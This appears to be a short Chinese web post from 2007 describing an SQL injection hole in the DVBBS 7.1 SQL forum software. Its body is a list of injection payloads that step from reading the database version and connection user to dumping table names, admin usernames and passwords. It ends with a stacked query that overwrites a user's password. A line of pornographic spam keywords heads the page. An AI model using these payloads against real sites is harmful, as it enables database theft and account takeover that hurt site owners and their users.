亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

DVBBS7.1 SQL版 跨庫漏洞

 更新時間:2007年01月16日 00:00:00   作者:  
漏洞測試環(huán)境:DVBBS7.1 SQL 

受影響文件 
admin/admin.asp 
..... 

漏洞利用 

(select @@version)>0 獲得Windows的版本號 
and user_name()='dbo' 判斷當(dāng)前系統(tǒng)的連接用戶是不是sa 
(select user_name())>0 爆當(dāng)前系統(tǒng)的連接用戶 
(select db_name())>0 得到當(dāng)前連接的數(shù)據(jù)庫 
(select IS_MEMBER('db_owner')) --查詢數(shù)據(jù)庫當(dāng)前用戶權(quán)限 

(select count(*) from master.dbo.sysdatabases where name>1 and dbid=7) ---查詢所有數(shù)據(jù)庫名 
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U') --查詢數(shù)據(jù)庫表名 
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U' and name not in ('web_Admin')) --查詢數(shù)據(jù)庫所有表名 
(select count(*) from JxSoufun.dbo.sysobjects where xtype='U' and name='web_Admin' and uid>(str(id))) --查詢表名ID 
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048) --查詢字段名 
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048 and name not in('adminname')) --查詢所有字段名 
(select count(*) from JxSoufun.dbo.web_Admin where AdminName>1) -查詢用戶 
(select count(*) from JxSoufun.dbo.web_Admin where Adminpwd>1 and username='bluefire') -查詢用戶bluefire密碼 
;update JxSoufun.dbo.Agency_User set userpwd='965eb72c92a549dd' where username='mthfc';--  

相關(guān)文章

最新評論